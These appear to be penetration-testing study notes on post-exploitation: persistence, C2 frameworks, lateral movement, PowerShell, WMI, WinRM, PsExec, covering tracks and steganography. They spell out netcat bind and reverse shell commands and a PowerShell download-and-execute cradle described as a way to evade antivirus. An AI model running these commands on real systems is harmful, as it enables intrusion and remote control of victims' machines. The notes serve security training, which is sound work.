# *Post-Exploitation*

**Post-Exploitation**

After the exploitation phase, you need to maintain a foothold in a compromised system to perform additional tasks, such as installing and/or modifying services to connect back to the compromised system. You can maintain the persistence of a compromised system in a number of ways, including the following:

Creating a bind or reverse shell
Creating and manipulating scheduled jobs and tasks
Creating custom daemons and processes
Creating new users
Creating additional backdoors

When you maintain persistence in a compromised system, you can take several actions, such as the following:

Uploading additional tools
Using local system tools
Performing ARP scans and ping sweeps
Conducting DNS and directory services enumeration
Launching brute-force attacks
Performing additional enumeration of users, groups, forests, sensitive data, and unencrypted files
Performing system manipulation using management protocols (for example, WinRM, WMI, SMB, SNMP) and compromised credentials
Executing additional exploits
You can also take several actions through the compromised system, including the following:

Configuring port forwarding
Creating SSH tunnels or proxies to communicate to the internal network
Using a VPN to access the internal network

**Tools for Bind and Reverse Shell**
Netcat
Meterpreter (Metasploit)

**Ex Netcat Bind Shell Linux:**
Create a listener on port 1234 and execute (-e) the Bash shell (/bin/bash) in system compromised

```
user@linux:~$ nc -lvp 1234 -e /bin/bash
```

**Ex Netcat Bind Shell Windows:**

```
C:\Users\User> nc -lvp 1234 -e cmd.exe
```

**Connect to Bind Shell**

```
root@kali:~$ nc -nv 192.168.0.10 1234
```

Tip: One of the challenges of using bind shells is that if the victim's system is behind a firewall, the listening port might be blocked. However, if the victim's system can initiate a connection to the attacking system on a given port, a reverse shell can be used to overcome this challenge.

**Ex Netcat Reverse Shell Linux:**
Create a reverse shell in attacking Kali Linux system to listen to a specific port (port 1666 in this

example).
```
root@kali:~$ nc -lvp 1666
```

**Connect to Reverse Shell**
```
user@linux:~$ nc 192.168.0.100 1666 -e /bin/bash
```

**Netcat Commands**
https://www.varonis.com/blog/netcat-commands

**Ncat**
https://nmap.org/ncat/

https://nmap.org/ncat/guide/index.html

**Meterpreter Metasploit**
https://www.offsec.com/metasploit-unleashed/

**Windows Commands:**
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands

**Linux Commands:**
https://www.digitalocean.com/community/tutorials/linux-commands

## Command and Control (C2)

https://howto.thec2matrix.com/

Attackers often use command and control (often referred to as C2 or CnC) systems to send commands and instructions to compromised systems. The C2 can be the attacker's system (for example, desktop, laptop) or a dedicated virtual or physical server. A C2 creates a covert channel with the compromised system. A covert channel is an adversarial technique that allows the attacker to transfer information objects between processes or systems that, according to a security policy, are not supposed to be allowed to communicate.

Attackers often use virtual machines in a cloud service or even use other compromised systems as C2 servers. Even services such as Twitter, Dropbox, and Photobucket have been used for C2 tasks. The C2 communication can be as simple as maintaining a timed beacon, or "heartbeat," to launch additional attacks or for data exfiltration. Figure 8-3 shows how an attacker uses C2 to send instructions to two compromised systems.

**socat**
A C2 utility that can be used to create multiple reverse shells (see http://www.dest-unreach.org/socat )

**wsc2**
A Python-based C2 utility that uses WebSockets (see https://github.com/Arno0x/WSC2)

**WMImplant**
A PowerShell-based tool that leverages WMI to create a C2 channel (see https://github.com/ChrisTruncer/WMImplant)

**DropboxC2 (DBC2)**
A C2 utility that uses Dropbox (see https://github.com/Arno0x/DBC2)

**TrevorC2**
A Python-based C2 utility created by Dave Kennedy of TrustedSec (see https://github.com/trustedsec/trevorc2)

**Twittor**
A C2 utility that uses Twitter direct messages for command and control (see https://github.com/PaulSec/twittor)

**DNSCat2**
A DNS-based C2 utility that supports encryption and that has been used by malware, threat actors, and pen testers (see https://github.com/iagox86/dnscat2)

## Post-Exploitation Scanning

Lateral movement involves scanning a network for other systems, exploiting vulnerabilities in other systems, compromising credentials, and collecting sensitive information for exfiltration. Lateral movement is possible if an organization does not segment its network properly. Network segmentation is therefore very important.

NOTE Testing the effectiveness of your network segmentation strategy is very important. Your organization might have deployed virtual or physical firewalls, virtual local area networks (VLANs), or access control policies for segmentation, or it might use microsegmentation in virtualized and containerized environments. You should perform network segmentation testing often to verify that your segmentation strategy is appropriate to protect your network against lateral movement and other post-exploitation attacks.

## Legitimate Utilities and Living-off-the-Land

Many different legitimate Windows legitimate utilities, such as PowerShell, Windows Management Instrumentation (WMI), and Sysinternals, can be used for post-exploitation activities, as described in the following sections. Similarly, you can use legitimate tools and installed applications in Linux and macOS systems to perform post-exploitation activities. If a compromised system has Python installed, for example, you can use it for additional exploitation and exfiltration. Similarly, you can use the Bash shell and tools like Netcat post-exploitation.

Using legitimate tools to perform post-exploitation activities is often referred to as living-off-the-land and, in some cases, as fileless malware. The term fileless malware refers to the idea that there is no need to install any additional software or binaries to the compromised system. Examples of living-off-the-land post-exploitation techniques include the following:

PowerShell for Post-Exploitation Tasks
PowerSploit and Empire
BloodHound
Windows Management Instrumentation for Post-Exploitation Tasks
Sysinternals and PsExec
Windows Remote Management (WinRM) for Post-Exploitation Tasks

### Useful PowerShell Commands for Post-Exploitation Tasks

The following PowerShell command can be used to avoid detection by security products and antivirus software:

```
PS > IEX (New-Object Net.WebClient).DownloadString('http:// /Invoke-PowerShellTcp.ps1')
```

This command directly loads a PS1 file from the Internet instead of downloading it and then executes it on the device.

Remote management in Windows via PowerShell (often called PowerShell [PS] remoting ) is a basic feature that a system administrator can use to access and manage a system remotely. An attacker could also take advantage of this feature to perform post-exploitation activities.

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.4

## Power Sploit

When you use PowerSploit, you typically expose the scripts launching a web service. Figure 8-6 shows Kali Linux is being used, with PowerSploit scripts located in /usr/share/windows-resources/powersploit. A simple web service is started using the command sudo python3 -m http.server 1337 (where 1337 is the port number). The compromised system then connects to the attacker's machine (Kali) on port 1337 and downloads a PowerSploit script for data exfiltration.

https://github.com/PowerShellMafia/PowerSploit

## Empire

Another PowerShell-based post-exploitation framework is Empire, which is an open-source framework that includes a PowerShell Windows agent and a Python Linux agent. Empire implements the ability to run PowerShell agents without the need for powershell.exe. It allows you to rapidly deploy post-exploitation modules including keyloggers, bind shells, reverse shells, Mimikatz, and adaptable communications to evade detection.

https://github.com/EmpireProject/Empire

## BloodHound

You can use a single-page JavaScript web application called BloodHound that uses graph theory to reveal the hidden relationships in a Windows Active Directory environment. An attacker can use BloodHound to identify numerous attack paths. Similarly, incident response teams can use BloodHound to detect and eliminate those same attack paths. You can download BloodHound from the following GitHub repository:

https://github.com/BloodHoundAD/Bloodhound

## Windows Management Instrumentation for Post-Exploitation Tasks

Windows Management Instrumentation (WMI) is used to manage data and operations on Windows operating systems. You can write WMI scripts or applications to automate administrative tasks on remote computers. WMI also provides functionality for data management to other parts of the operating system, including the System Center Operations Manager (formerly Microsoft Operations Manager [MOM]) and Windows Remote Management (WinRM). Malware can use WMI to perform different activities in a compromised system. For example, the Nyeta ransomware used WMI to perform administrative tasks.

## Windows Remote Management (WinRM) for Post-Exploitation Tasks

Windows Remote Management (WinRM) gives you a legitimate way to connect to Windows systems. WinRM is typically managed by Windows Group Policy (which is typically used for managing corporate Windows environments).

WinRM can be useful for post-exploitation activities. An attacker could enable WinRM to allow further connections to the compromised systems and maintain persistent access. You can easily enable WinRM on a Windows system by using the following command:

```
PS C:\Users\User> Enable-PSRemoting -SkipNetworkProfileCheck -Force
```

This command configures the WinRM service to automatically start and sets up a firewall rule to allow inbound connections to the compromised system.

**Sysinternals and PsExec**

Sysinternals is a suite of tools that allows administrators to control Windows-based computers from a remote terminal. You can use Sysinternals to upload, execute, and interact with executables on compromised hosts. The entire suite works from a command-line interface and can be scripted. By using Sysinternals, you can run commands that can reveal information about running processes, and you can kill or stop services. Penetration testers commonly use the following Sysinternals tools post-exploitation:

PsExec: Executes processes
PsFile: Shows open files
PsGetSid: Displays security identifiers of users
PsInfo: Gives detailed information about a computer
PsKill: Kills processes
PsList: Lists information about processes
PsLoggedOn: Lists logged-in accounts
PsLogList: Pulls event logs
PsPassword: Changes passwords
PsPing: Starts ping requests
PsService: Makes changes to Windows services
PsShutdown: Shuts down a computer
PsSuspend: Suspends processes

PsExec is one of the most powerful Sysinternals tools. You can use it to remotely execute anything that can run on a Windows command prompt. You can also use PsExec to modify Windows registry values, execute scripts, and connect a compromised system to another system. For attackers, one advantage of PsExec is that the output of the commands you execute is shown on your system (the local system) instead of on the victim's system. This allows an attacker to remain undetected by remote users.

Because of the -i option, the following PsExec command interacts with the compromised system to launch the calculator application, and the -d option returns control to the attacker before the launching of calc.exe is completed:

```
C:\User\User> PsExec \VICTIM -d -i calc.exe
```

You can also use PsExec to edit registry values, which means applications can run with system privileges and have access to data that is normally locked. This is demonstrated in the following example:

```
C:\User\User> PsExec -i -d -s regedit.exe
```

**Privilege Escalation**

**How to Cover Your Tracks**

After compromising a system during a penetration testing engagement, you should always cover your tracks to avoid detection by suppressing logs (when possible), deleting user accounts that could have been created on the system, and deleting any files that were created. In addition, after a penetration testing engagement is complete, you should clean up all systems. As a best practice, you should discuss these tasks and document them in the rules of engagement document during the pre-engagement phase. The following are a few best practices to keep in mind during the cleanup process:

Suppressing logs
Delete all temp files and hystory after the test.
Delete all user accounts used during the test.
Delete all files, executable binaries, scripts, and temporary files from compromised systems. A secure deletion method may be preferred. NIST Special Publication 800-88, Revision 1: “Guidelines for Media Sanitization,” provides guidance for media sanitation. This methodology should be discussed with your client and the owner of the affected systems.
Return any modified systems and their configuration to their original values and parameters.
Remove all backdoors, daemons, services, and rootkits installed.
Remove all customer data from your systems, including attacking systems and any other support systems. Typically, you should do this after creating and delivering the penetration testing report to the client.

## Steganography

Attackers can use steganography for obfuscation, evasion, and to cover their tracks. Steganography involves hiding a message or any other content inside an image or a video file. To accomplish this task, you can use tools such as steghide. You can easily install this tool in a Debian-based Linux system by using the command sudo apt install steghide. Example 8-10 shows the steghide command usage and help information.

1° Using steghide to Hide Sensitive Data in an Image File
```
user@linux:~$steghide embed -ef secret.txt -cf one-picture.jpg
```

2° Extracting Hidden Data from an Image File
```
user@linux:~$steghide extract -sf one-picture.jpg -xf extracted_data.txt
```